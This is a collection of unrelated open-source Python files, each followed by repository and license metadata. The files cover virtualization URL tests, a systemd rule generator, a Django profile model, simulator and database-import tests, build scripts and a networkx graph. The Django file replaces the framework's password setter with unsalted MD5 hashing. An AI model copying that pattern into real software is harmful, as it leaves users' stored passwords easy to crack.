# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301 USA.
import unittest
import time
import logging
import platform
from tests import URLTEST_LOCAL_MEDIA
from tests import utils
from virtinst import Guest
from virtinst import urlfetcher
from virtinst import util
from virtinst.urlfetcher import FedoraDistro
from virtinst.urlfetcher import SuseDistro
from virtinst.urlfetcher import DebianDistro
from virtinst.urlfetcher import CentOSDistro
from virtinst.urlfetcher import SLDistro
from virtinst.urlfetcher import UbuntuDistro
from virtinst.urlfetcher import MandrivaDistro
# pylint: disable=protected-access
# Access to protected member, needed to unittest stuff
ARCHIVE_FEDORA_URL = "https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/%s/Fedora/%s/os/"
OLD_FEDORA_URL = "http://dl.fedoraproject.org/pub/fedora/linux/releases/%s/Fedora/%s/os/"
DEVFEDORA_URL = "http://dl.fedoraproject.org/pub/fedora/linux/development/%s/%s/os/"
FEDORA_URL = "http://dl.fedoraproject.org/pub/fedora/linux/releases/%s/Server/%s/os/"
OLD_CENTOS_URL = "http://vault.centos.org/%s/os/%s"
CENTOS_URL = "http://mirrors.mit.edu/centos/%s/os/%s/"
OLD_SCIENTIFIC_URL = "http://ftp.scientificlinux.org/linux/scientific/%s/%s/"
SCIENTIFIC_URL = "http://ftp.scientificlinux.org/linux/scientific/%s/%s/os"
OPENSUSE10 = "http://ftp.hosteurope.de/mirror/ftp.opensuse.org/discontinued/10.0"
OLD_OPENSUSE_URL = "http://ftp5.gwdg.de/pub/opensuse/discontinued/distribution/%s/repo/oss"
OPENSUSE_URL = "http://download.opensuse.org/distribution/%s/repo/oss/"
OLD_UBUNTU_URL = "http://old-releases.ubuntu.com/ubuntu/dists/%s/main/installer-%s"
UBUNTU_URL = "http://us.archive.ubuntu.com/ubuntu/dists/%s/main/installer-%s"
OLD_DEBIAN_URL = "http://archive.debian.org/debian/dists/%s/main/installer-%s/"
DAILY_DEBIAN_URL = "http://d-i.debian.org/daily-images/%s/"
DEBIAN_URL = "http://ftp.us.debian.org/debian/dists/%s/main/installer-%s/"
MANDRIVA_URL = "ftp://mirror.cc.columbia.edu/pub/linux/mandriva/official/%s/%s"
urls = {}
_distro = None
class _DistroURL(object):
def __init__(self, x86_64, detectdistro="linux", i686=None,
hasxen=True, hasbootiso=True, name=None,
testshortcircuit=False):
self.x86_64 = x86_64
self.i686 = i686
self.detectdistro = detectdistro
self.hasxen = hasxen
self.hasbootiso = hasbootiso
self.name = name or self.detectdistro
self.distroclass = _distro
# If True, pass in the expected distro value to getDistroStore
# so it can short circuit the lookup checks
self.testshortcircuit = testshortcircuit
def _set_distro(_d):
# Saves us from having to pass distro class to ever _add invocation
global _distro
_distro = _d
def _add(*args, **kwargs):
_d = _DistroURL(*args, **kwargs)
if _d.name in urls:
raise RuntimeError("distro=%s url=%s collides with entry in urls, "
"set a unique name" % (_d.name, _d.x86_64))
urls[_d.name] = _d
# Goal here is generally to cover all tree variants for each distro,
# where feasible. Don't exhaustively test i686 trees since most people
# aren't using it and it slows down the test, only use it in a couple
# places. Follow the comments for what trees to keep around
_set_distro(FedoraDistro)
# One old Fedora
_add(ARCHIVE_FEDORA_URL % ("14", "x86_64"), "fedora14",
i686=ARCHIVE_FEDORA_URL % ("14", "i386"))
# 2 Latest releases
_add(OLD_FEDORA_URL % ("20", "x86_64"), "fedora20")
_add(FEDORA_URL % ("21", "x86_64"), "fedora21")
_add(FEDORA_URL % ("22", "x86_64"), "fedora22")
# Any Dev release
# _add(DEVFEDORA_URL % ("22", "x86_64"), "fedora21", name="fedora22")
_set_distro(CentOSDistro)
# One old and new centos 4. No distro detection since there's no treeinfo
_add(OLD_CENTOS_URL % ("4.0", "x86_64"), hasxen=False, name="centos-4.0")
_add(OLD_CENTOS_URL % ("4.9", "x86_64"), name="centos-4.9")
# One old centos 5
_add(OLD_CENTOS_URL % ("5.0", "x86_64"), name="centos-5.0")
# Latest centos 5 w/ i686
_add(CENTOS_URL % ("5", "x86_64"), "rhel5.11", name="centos-5-latest",
i686=CENTOS_URL % ("5", "i386"))
# Latest centos 6 w/ i686
_add(CENTOS_URL % ("6", "x86_64"), "rhel6.6", name="centos-6-latest",
i686=CENTOS_URL % ("6", "i386"))
# Latest centos 7, but no i686 as of 2014-09-06
_add(CENTOS_URL % ("7", "x86_64"), "centos7.0", name="centos-7-latest")
_set_distro(SLDistro)
# scientific 5
_add(OLD_SCIENTIFIC_URL % ("55", "x86_64"), "rhel5.5", name="sl-5latest")
# Latest scientific 6
_add(SCIENTIFIC_URL % ("6", "x86_64"), "rhel6.1", name="sl-6latest")
_set_distro(SuseDistro)
# Latest 10 series
_add(OLD_OPENSUSE_URL % ("10.3"), "opensuse10.3", hasbootiso=False)
# Latest 11 series
_add(OLD_OPENSUSE_URL % ("11.4"), "opensuse11.4", hasbootiso=False)
# Latest 12 series
# Only keep i686 for the latest opensuse
_add(OPENSUSE_URL % ("12.3"), "opensuse12.3",
i686=OPENSUSE_URL % ("12.3"), hasbootiso=False, testshortcircuit=True)
# Latest 13.x releases
_add(OPENSUSE_URL % ("13.1"), "opensuse13.1", hasbootiso=False)
_add(OPENSUSE_URL % ("13.2"), "opensuse13.2", hasbootiso=False)
_set_distro(DebianDistro)
# Debian releases rarely enough that we can just do every release since lenny
_add(OLD_DEBIAN_URL % ("lenny", "amd64"), "debian5", hasxen=False,
testshortcircuit=True)
_add(DEBIAN_URL % ("squeeze", "amd64"), "debian6")
_add(DEBIAN_URL % ("wheezy", "amd64"), "debian7")
# And daily builds, since we specially handle that URL
_add(DAILY_DEBIAN_URL % ("amd64"), "debian8", name="debiandaily")
_add(DAILY_DEBIAN_URL % ("arm64"), "debian8",
name="debiandailyarm64", hasxen=False)
_set_distro(UbuntuDistro)
# One old ubuntu
_add(OLD_UBUNTU_URL % ("hardy", "amd64"), "ubuntu8.04",
i686=OLD_UBUNTU_URL % ("hardy", "i386"), hasxen=False,
testshortcircuit=True)
# Latest LTS
_add(UBUNTU_URL % ("precise", "amd64"), "ubuntu12.04")
# Latest release
_add(OLD_UBUNTU_URL % ("raring", "amd64"), "ubuntu13.04")
_set_distro(MandrivaDistro)
# One old mandriva
_add(MANDRIVA_URL % ("2010.2", "x86_64"),
i686=MANDRIVA_URL % ("2010.2", "i586"),
hasxen=False, name="mandriva-2010.2")
testconn = utils.open_testdefault()
hvmguest = Guest(testconn)
hvmguest.os.os_type = "hvm"
xenguest = Guest(testconn)
xenguest.os.os_type = "xen"
meter = util.make_meter(quiet=not utils.get_debug())
def _storeForDistro(fetcher, guest):
"""
Helper to lookup the Distro store object, basically detecting the
URL. Handle occasional proxy errors
"""
for ignore in range(0, 10):
try:
return urlfetcher.getDistroStore(guest, fetcher)
except Exception, e:
if str(e).count("502"):
logging.debug("Caught proxy error: %s", str(e))
time.sleep(.5)
continue
raise
raise
def _testURL(fetcher, distname, arch, distroobj):
"""
Test that our URL detection logic works for grabbing kernel, xen
kernel, and boot.iso
"""
print "\nTesting %s-%s" % (distname, arch)
hvmguest.os.arch = arch
xenguest.os.arch = arch
if distroobj.testshortcircuit:
hvmguest.os_variant = distroobj.detectdistro
xenguest.os_variant = distroobj.detectdistro
hvmstore = _storeForDistro(fetcher, hvmguest)
xenstore = None
if distroobj.hasxen:
xenstore = _storeForDistro(fetcher, xenguest)
for s in [hvmstore, xenstore]:
if (s and distroobj.distroclass and
not isinstance(s, distroobj.distroclass)):
raise AssertionError("(%s): expected store %s, was %s" %
(distname, distroobj.distroclass, s))
# Make sure the stores are reporting correct distro name/variant
if (s and distroobj.detectdistro and
distroobj.detectdistro != s.os_variant):
raise AssertionError("Store distro/variant did not match "
"expected values: store=%s, found=%s expect=%s" %
(s, s.os_variant, distroobj.detectdistro))
# Do this only after the distro detection, since we actually need
# to fetch files for that part
def fakeAcquireFile(filename):
logging.debug("Fake acquiring %s", filename)
return fetcher.hasFile(filename)
fetcher.acquireFile = fakeAcquireFile
# Fetch boot iso
if not distroobj.hasbootiso:
logging.debug("Known lack of boot.iso in %s tree. Skipping.",
distname)
else:
boot = hvmstore.acquireBootDisk(hvmguest)
logging.debug("acquireBootDisk: %s", str(boot))
if boot is not True:
raise AssertionError("%s-%s: bootiso fetching failed" %
(distname, arch))
# Fetch regular kernel
kern = hvmstore.acquireKernel(hvmguest)
logging.debug("acquireKernel (hvm): %s", str(kern))
if kern[0] is not True or kern[1] is not True:
AssertionError("%s-%s: hvm kernel fetching failed" %
(distname, arch))
# Fetch xen kernel
if not xenstore:
logging.debug("acquireKernel (xen): Hardcoded skipping.")
else:
kern = xenstore.acquireKernel(xenguest)
logging.debug("acquireKernel (xen): %s", str(kern))
if kern[0] is not True or kern[1] is not True:
raise AssertionError("%s-%s: xen kernel fetching" %
(distname, arch))
def _fetch_wrapper(url, cb, *args):
fetcher = urlfetcher.fetcherForURI(url, "/tmp", meter)
try:
fetcher.prepareLocation()
return cb(fetcher, *args)
finally:
fetcher.cleanupLocation()
def _make_test_wrapper(url, args):
def cmdtemplate():
return _fetch_wrapper(url, _testURL, *args)
return lambda _self: cmdtemplate()
# Register tests to be picked up by unittest
# If local ISO tests requested, skip all other URL tests
class URLTests(unittest.TestCase):
pass
def _make_tests():
global urls
if URLTEST_LOCAL_MEDIA:
urls = {}
newidx = 0
arch = platform.machine()
for p in URLTEST_LOCAL_MEDIA:
newidx += 1
d = _DistroURL(p, None, hasxen=False, hasbootiso=False,
name="path%s" % newidx)
d.distroclass = None
urls[d.name] = d
keys = urls.keys()
keys.sort()
for key in keys:
distroobj = urls[key]
for arch, url in [("i686", distroobj.i686),
("x86_64", distroobj.x86_64)]:
if not url:
continue
args = (key, arch, distroobj)
testfunc = _make_test_wrapper(url, args)
setattr(URLTests, "testURL%s%s" % (key, arch), testfunc)
_make_tests()
|
bwildenhain/virt-manager
|
tests/test_urls.py
|
Python
|
gpl-2.0
| 11,455
|
#!/usr/bin/env python3
# SPDX-License-Identifier: LGPL-2.1+
# Generate autosuspend rules for devices that have been tested to work properly
# with autosuspend by the Chromium OS team. Based on
# https://chromium.googlesource.com/chromiumos/platform2/+/master/power_manager/udev/gen_autosuspend_rules.py
import chromiumos.gen_autosuspend_rules
print('# pci:v<00VENDOR>d<00DEVICE> (8 uppercase hexadecimal digits twice)')
for entry in chromiumos.gen_autosuspend_rules.PCI_IDS:
vendor, device = entry.split(':')
vendor = int(vendor, 16)
device = int(device, 16)
print('pci:v{:08X}d{:08X}*'.format(vendor, device))
print('# usb:v<VEND>p<PROD> (4 uppercase hexadecimal digits twice')
for entry in chromiumos.gen_autosuspend_rules.USB_IDS:
vendor, product = entry.split(':')
vendor = int(vendor, 16)
product = int(product, 16)
print('usb:v{:04X}p{:04X}*'.format(vendor, product))
print(' ID_AUTOSUSPEND=1')
|
filbranden/systemd
|
tools/make-autosuspend-rules.py
|
Python
|
gpl-2.0
| 938
|
import os
import hashlib
import datetime
from django.db import models
from django.conf import settings
from django.contrib.auth.models import User
from django.db import connection
from django.db.models.signals import post_save
def set_user_password(user, password):
if user and password:
password = password.encode("utf-8")
user.password = hashlib.md5(password).hexdigest()
User.set_password = set_user_password
class UserProfile(models.Model):
GENDER_MALE = 1
GERNDER_FEMALE = 2
GENDERS = (
(GENDER_MALE, 'male'),
(GERNDER_FEMALE, 'famale')
)
DEFAULT_PROFILE_IMAGE = "profile/avatar.gif"
user = models.ForeignKey(User)
gender = models.IntegerField(choices=GENDERS, blank=True, null=True)
class Meta:
db_table = 'profiles'
def create_user_profile(sender, instance, created, **kwargs):
if created:
profile, created = UserProfile.objects.get_or_create(user=instance)
post_save.connect(create_user_profile, sender=User)
|
Bozhidariv/statisticum
|
statisticum/profiles/models.py
|
Python
|
gpl-2.0
| 1,019
|
# -*- Mode:Python; -*-
# /*
# * Copyright (c) 2010 INRIA
# *
# * This program is free software; you can redistribute it and/or modify
# * it under the terms of the GNU General Public License version 2 as
# * published by the Free Software Foundation;
# *
# * This program is distributed in the hope that it will be useful,
# * but WITHOUT ANY WARRANTY; without even the implied warranty of
# * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# * GNU General Public License for more details.
# *
# * You should have received a copy of the GNU General Public License
# * along with this program; if not, write to the Free Software
# * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# *
# * Authors: Mathieu Lacage <mathieu.lacage@sophia.inria.fr>
# */
#
# Python version of sample-simulator.cc
## \file
# \ingroup core-examples
# \ingroup simulator
# Python example program demonstrating use of various Schedule functions.
import ns.core
class MyModel(object):
"""Simple model object to illustrate event handling."""
## \return None.
def Start(self):
"""Start model execution by scheduling a HandleEvent."""
ns.core.Simulator.Schedule(ns.core.Seconds(10.0), self.HandleEvent, ns.core.Simulator.Now().GetSeconds())
## \param [in] self This instance of MyModel
## \param [in] value Event argument.
## \return None.
def HandleEvent(self, value):
"""Simple event handler."""
print ("Member method received event at", ns.core.Simulator.Now().GetSeconds(), \
"s started at", value, "s")
## Example function - starts MyModel.
## \param [in] model The instance of MyModel
## \return None.
def ExampleFunction(model):
print ("ExampleFunction received event at", ns.core.Simulator.Now().GetSeconds(), "s")
model.Start()
## Example function - triggered at a random time.
## \param [in] model The instance of MyModel
## \return None.
def RandomFunction(model):
print ("RandomFunction received event at", ns.core.Simulator.Now().GetSeconds(), "s")
## Example function - triggered if an event is canceled (should not be called).
## \return None.
def CancelledEvent():
print ("I should never be called... ")
def main(dummy_argv):
ns.core.CommandLine().Parse(dummy_argv)
model = MyModel()
v = ns.core.UniformRandomVariable()
v.SetAttribute("Min", ns.core.DoubleValue (10))
v.SetAttribute("Max", ns.core.DoubleValue (20))
ns.core.Simulator.Schedule(ns.core.Seconds(10.0), ExampleFunction, model)
ns.core.Simulator.Schedule(ns.core.Seconds(v.GetValue()), RandomFunction, model)
id = ns.core.Simulator.Schedule(ns.core.Seconds(30.0), CancelledEvent)
ns.core.Simulator.Cancel(id)
ns.core.Simulator.Run()
ns.core.Simulator.Destroy()
if __name__ == '__main__':
import sys
main(sys.argv)
|
nsnam/ns-3-dev-git
|
src/core/examples/sample-simulator.py
|
Python
|
gpl-2.0
| 2,886
|
#
# Copyright (c) 2010, 2015, Oracle and/or its affiliates. All rights reserved.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
#
"""
import_errors test.
"""
import os
import subprocess
import import_basic
from mysql.utilities.exception import MUTLibError, UtilError
class test(import_basic.test):
"""Import Data
This test executes the import utility on a single server.
It tests the error conditions for importing data.
It uses the import_basic test for setup and teardown methods.
"""
perms_test_file = "not_readable.sql"
def check_prerequisites(self):
return import_basic.test.check_prerequisites(self)
def setup(self):
return import_basic.test.setup(self)
def run(self):
self.res_fname = "result.txt"
from_conn = "--server={0}".format(
self.build_connection_string(self.server1)
)
to_conn = "--server={0}".format(
self.build_connection_string(self.server2)
)
_FORMATS = ("CSV", "TAB", "GRID", "VERTICAL")
test_num = 1
for frmt in _FORMATS:
comment = ("Test Case {0} : Testing import with "
"{1} format and NAMES display").format(test_num, frmt)
# We test DEFINITIONS and DATA only in other tests
self.run_import_test(1, from_conn, to_conn, ['util_test'], frmt,
"BOTH", comment, " --display=NAMES")
self.drop_db(self.server2, "util_test")
test_num += 1
export_cmd = ("mysqldbexport.py {0} util_test --export=BOTH "
"--format=SQL --skip-gtid > "
"{1}").format(from_conn, self.export_import_file)
# First run the export to a file.
comment = "Running export..."
res = self.run_test_case(0, export_cmd, comment)
if not res:
raise MUTLibError("EXPORT: {0}: failed".format(comment))
import_cmd = "mysqldbimport.py {0}".format(to_conn)
comment = "Test case {0} - no file specified ".format(test_num)
cmd_str = "{0} --import=BOTH --format=SQL".format(import_cmd)
res = self.run_test_case(2, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
import_cmd = ("{0} {1} --import=BOTH "
"--format=SQL").format(import_cmd,
self.export_import_file)
test_num += 1
comment = "Test case {0} - bad --skip values".format(test_num)
cmd_str = "{0} --skip=events,wiki-waki,woo-woo".format(import_cmd)
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - exporting data and skipping "
"data").format(test_num)
cmd_str = "{0} --skip=data --import=data".format(import_cmd)
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = "Test case {0} - cannot parse --server".format(test_num)
cmd_str = ("mysqldbimport.py --server=rocks_rocks_rocks "
"{0}").format(self.export_import_file)
res = self.run_test_case(2, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: cannot connect to "
"server").format(test_num)
cmd_str = ("mysqldbimport.py --server=nope:nada@localhost:{0} "
"{1}").format(self.server0.port, self.export_import_file)
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
self.server2.exec_query("CREATE USER 'joe'@'localhost'")
# Watchout for Windows: it doesn't use sockets!
joe_conn = "--server=joe@localhost:{0}".format(self.server2.port)
if os.name == "posix" and self.server2.socket is not None:
joe_conn = "{0}:{1}".format(joe_conn, self.server2.socket)
test_num += 1
comment = ("Test case {0} - error: not enough "
"privileges").format(test_num)
cmd_str = "mysqldbimport.py {0} {1}".format(joe_conn,
self.export_import_file)
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: not enough "
"privileges").format(test_num)
cmd_str = ("mysqldbimport.py {0} {1} "
"--import=definitions").format(joe_conn,
self.export_import_file)
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = "Test case {0} - error: bad SQL statements".format(test_num)
bad_sql_file = os.path.normpath("./std_data/bad_sql.sql")
cmd_str = ("mysqldbimport.py {0} {1} "
"--import=definitions").format(to_conn, bad_sql_file)
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
self.drop_db(self.server2, "util_test")
# Skipping create and doing the drop should be illegal.
test_num += 1
comment = ("Test case {0} - error: --skip=create_db & "
"--drop-first").format(test_num)
cmd_str = ("{0} {1} --skip=create_db --format=sql --import=data "
"--drop-first ").format(import_cmd, self.export_import_file)
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
self.drop_db(self.server2, "util_test")
import_cmd = "mysqldbimport.py {0}".format(to_conn)
test_num += 1
comment = "Test case {0} - warning: --skip-blobs".format(test_num)
cmd_str = ("{0} --skip-blobs --format=sql --import=definitions "
"{1}").format(import_cmd, self.export_import_file)
res = self.run_test_case(0, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: --skip=data & "
"--import=data").format(test_num)
cmd_str = ("{0} --skip=data --format=sql --import=data "
"{1}").format(import_cmd, self.export_import_file)
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: bad object "
"definition").format(test_num)
bad_csv_file = os.path.normpath("./std_data/bad_object.csv")
cmd_str = ("{0} --format=csv --import=both "
"{1}").format(import_cmd, bad_csv_file)
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
# Test database with backticks
_FORMATS_BACKTICKS = ("CSV", "TAB")
for frmt in _FORMATS_BACKTICKS:
comment = ("Test Case {0} : Testing import with {1} format and "
"NAMES display (using backticks)").format(test_num,
frmt)
self.run_import_test(1, from_conn, to_conn, ['`db``:db`'],
frmt, "BOTH", comment, " --display=NAMES")
self.drop_db(self.server2, '`db``:db`')
test_num += 1
comment = "Test case {0} - invalid --character-set".format(test_num)
cmd_str = ("mysqldbimport.py {0} {1} "
"--character-set=unsupported_charset"
"".format(self.export_import_file, to_conn))
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
# Run export to re-create the export file.
comment = "Running export to {0}...".format(self.export_import_file)
res = self.run_test_case(0, export_cmd, comment)
if not res:
raise MUTLibError("EXPORT: {0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: invalid multiprocess "
"value.").format(test_num)
cmd_str = ("{0} --format=sql --import=both --multiprocess=0.5 "
"{1}").format(import_cmd, self.export_import_file)
res = self.run_test_case(2, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: multiprocess value smaller than "
"zero.").format(test_num)
cmd_str = ("{0} --format=sql --import=both --multiprocess=-1 "
"{1}").format(import_cmd, self.export_import_file)
res = self.run_test_case(2, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: invalid max bulk insert "
"value.").format(test_num)
cmd_str = ("{0} --format=sql --import=both --max-bulk-insert=2.5 "
"{1}").format(import_cmd, self.export_import_file)
res = self.run_test_case(2, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: max bulk insert value not greater "
"than one.").format(test_num)
cmd_str = ("{0} --format=sql --import=both --max-bulk-insert=1 "
"{1}").format(import_cmd, self.export_import_file)
res = self.run_test_case(2, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
self.drop_db(self.server2, "util_test")
test_num += 1
comment = ("Test case {0} - warning: max bulk insert ignored without "
"bulk insert option.").format(test_num)
cmd_str = ("{0} --format=sql --import=both --max-bulk-insert=10000 "
"{1}").format(import_cmd, self.export_import_file)
res = self.run_test_case(0, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: Use --drop-first to drop the "
"database before importing.").format(test_num)
data_file = os.path.normpath("./std_data/basic_data.sql")
cmd_str = ("{0} --format=sql --import=both "
"{1}").format(import_cmd, data_file)
res = self.run_test_case(1, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: Is not a valid path to a file."
"").format(test_num)
cmd_str = ("{0} --format=sql --import=both not_exist.sql"
"").format(import_cmd)
res = self.run_test_case(2, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
test_num += 1
comment = ("Test case {0} - error: Without permission to read a file."
"").format(test_num)
cmd_str = ("{0} --format=sql --import=both {1}"
"").format(import_cmd, self.perms_test_file)
# Create file without read permission.
with open(self.perms_test_file, "w"):
pass
if os.name == "posix":
os.chmod(self.perms_test_file, 0200)
else:
proc = subprocess.Popen(["icacls", self.perms_test_file, "/deny",
"everyone:(R)"], stdout=subprocess.PIPE)
proc.communicate()
res = self.run_test_case(2, cmd_str, comment)
if not res:
raise MUTLibError("{0}: failed".format(comment))
# Handle message with path (replace '\' by '/').
if os.name != "posix":
self.replace_result("# Importing definitions and data from "
"std_data\\bad_object.csv",
"# Importing definitions and data from "
"std_data/bad_object.csv.\n")
self.replace_result("# Importing definitions from "
"std_data\\bad_sql.sql",
"# Importing definitions from "
"std_data/bad_sql.sql.\n")
self.replace_result("# Importing definitions and data from "
"std_data\\basic_data.sql.",
"# Importing definitions and data from "
"std_data/basic_data.sql.\n")
# Mask known source and destination host name.
self.replace_substring("on localhost", "on XXXX-XXXX")
self.replace_substring("on [::1]", "on XXXX-XXXX")
self.replace_substring(" (28000)", "")
self.replace_result("ERROR: Query failed.", "ERROR: Query failed.\n")
self.replace_substring("Error 1045 (28000):", "Error")
self.replace_substring("Error 1045:", "Error")
self.replace_result("mysqldbimport: error: Server connection "
"values invalid",
"mysqldbimport: error: Server connection "
"values invalid\n")
self.replace_result("ERROR: Unknown error 1045",
"ERROR: Access denied for user 'nope'@'localhost' "
"(using password: YES)\n")
return True
def get_result(self):
return self.compare(__name__, self.results)
def record(self):
return self.save_result_file(__name__, self.results)
def cleanup(self):
try:
if os.path.exists(self.perms_test_file):
if os.name != "posix":
# Add write permission to the permissions test file so
# that its deletion is possible when using MS Windows.
proc = subprocess.Popen(["icacls", self.perms_test_file,
"/grant", "everyone:(W)"],
stdout=subprocess.PIPE)
proc.communicate()
os.unlink(self.perms_test_file)
except OSError:
pass
try:
self.server2.exec_query("DROP USER 'joe'@'localhost'")
except UtilError:
pass
return import_basic.test.drop_all(self)
|
mysql/mysql-utilities
|
mysql-test/t/import_errors.py
|
Python
|
gpl-2.0
| 15,732
|
'''
ps = psi4.Solver
with psi4.quite_run():
ps.prepare_chkpt(mo_coeff, fock_on_mo, nelec, e_scf, nuclear_repulsion)
ecc = ps.energy('CCSD', c.shape[1], hcore_on_mo, eri_on_mo)
rdm1, rdm2 = ps.density(mo_coeff.shape[1])
eccsdt = ps.energy('CCSD(T)', c.shape[1], hcore_on_mo, eri_on_mo)
rdm1, rdm2 = ps.density(mo_coeff.shape[1])
'''
from wrapper import *
__all__ = filter(lambda s: not s.startswith('_'), dir())
|
sunqm/psi4-cc
|
psi4/__init__.py
|
Python
|
gpl-2.0
| 434
|
#!/usr/bin/python
from pisi.actionsapi import shelltools, get, autotools, pisitools
def setup():
autotools.configure ("--prefix=/usr\
--disable-static")
def build():
autotools.make ()
def install():
autotools.rawInstall ("DESTDIR=%s" % get.installDIR())
pisitools.dodoc ("README", "ChangeLog", "LICENSE")
|
richard-fisher/repository
|
system/base/libffi/actions.py
|
Python
|
gpl-2.0
| 355
|
# -*- coding: utf-8 -*-
import time
class Timer(object):
'''
Simple timer control
'''
def __init__(self, delay):
self.current_time = 0
self.set_delay(delay)
def pause(self, pause):
if pause >= self.delay:
self.current_time = time.clock()
self.next_time = self.current_time + pause
def set_delay(self, delay):
assert delay >= 0
self.delay = delay
if self.delay == 0:
self.next_time = self.current_time
else:
self.current_time = time.clock()
self.next_time = self.current_time + self.delay
def idle(self):
'''
Verify if the timer is idle
'''
self.current_time = time.clock()
## if next frame occurs in the future, now it's idle time
if self.next_time > self.current_time:
return True
# if pass more than one delay time, synchronize it
if (self.current_time - self.next_time) > self.delay:
self.next_time = self.current_time + self.delay
else:
self.next_time += self.delay
return False
|
pantuza/art-gallery
|
src/timer.py
|
Python
|
gpl-2.0
| 1,202
|
import networkx as nx
import networkx.algorithms as alg
import numpy as np
import matplotlib.pyplot as plt
# create graph object
twitter = nx.Graph()
# add users
twitter.add_node('Tom', {'age': 34})
twitter.add_node('Rachel', {'age': 33})
twitter.add_node('Skye', {'age': 29})
twitter.add_node('Bob', {'age': 45})
twitter.add_node('Mike', {'age': 23})
twitter.add_node('Peter', {'age': 46})
twitter.add_node('Matt', {'age': 58})
twitter.add_node('Lester', {'age': 65})
twitter.add_node('Jack', {'age': 32})
twitter.add_node('Max', {'age': 75})
twitter.add_node('Linda', {'age': 23})
twitter.add_node('Rory', {'age': 18})
twitter.add_node('Richard', {'age': 24})
twitter.add_node('Jackie', {'age': 25})
twitter.add_node('Alex', {'age': 24})
twitter.add_node('Bart', {'age': 33})
twitter.add_node('Greg', {'age': 45})
twitter.add_node('Rob', {'age': 19})
twitter.add_node('Markus', {'age': 21})
twitter.add_node('Glenn', {'age': 24})
# add posts
twitter.node['Rory']['posts'] = 182
twitter.node['Rob']['posts'] = 111
twitter.node['Markus']['posts'] = 159
twitter.node['Linda']['posts'] = 128
twitter.node['Mike']['posts'] = 289
twitter.node['Alex']['posts'] = 188
twitter.node['Glenn']['posts'] = 252
twitter.node['Richard']['posts'] = 106
twitter.node['Jackie']['posts'] = 138
twitter.node['Skye']['posts'] = 78
twitter.node['Jack']['posts'] = 62
twitter.node['Bart']['posts'] = 38
twitter.node['Rachel']['posts'] = 89
twitter.node['Tom']['posts'] = 23
twitter.node['Bob']['posts'] = 21
twitter.node['Greg']['posts'] = 41
twitter.node['Peter']['posts'] = 64
twitter.node['Matt']['posts'] = 8
twitter.node['Lester']['posts'] = 4
twitter.node['Max']['posts'] = 2
# add followers
twitter.add_edge('Rob', 'Rory', {'Weight': 1})
twitter.add_edge('Markus', 'Rory', {'Weight': 1})
twitter.add_edge('Markus', 'Rob', {'Weight': 5})
twitter.add_edge('Mike', 'Rory', {'Weight': 1})
twitter.add_edge('Mike', 'Rob', {'Weight': 1})
twitter.add_edge('Mike', 'Markus', {'Weight': 1})
twitter.add_edge('Mike', 'Linda', {'Weight': 5})
twitter.add_edge('Alex', 'Rob', {'Weight': 1})
twitter.add_edge('Alex', 'Markus', {'Weight': 1})
twitter.add_edge('Alex', 'Mike', {'Weight': 1})
twitter.add_edge('Glenn', 'Rory', {'Weight': 1})
twitter.add_edge('Glenn', 'Rob', {'Weight': 1})
twitter.add_edge('Glenn', 'Markus', {'Weight': 1})
twitter.add_edge('Glenn', 'Linda', {'Weight': 2})
twitter.add_edge('Glenn', 'Mike', {'Weight': 1})
twitter.add_edge('Glenn', 'Alex', {'Weight': 1})
twitter.add_edge('Richard', 'Rob', {'Weight': 1})
twitter.add_edge('Richard', 'Linda', {'Weight': 1})
twitter.add_edge('Richard', 'Mike', {'Weight': 1})
twitter.add_edge('Richard', 'Alex', {'Weight': 1})
twitter.add_edge('Richard', 'Glenn', {'Weight': 1})
twitter.add_edge('Jackie', 'Linda', {'Weight': 1})
twitter.add_edge('Jackie', 'Mike', {'Weight': 1})
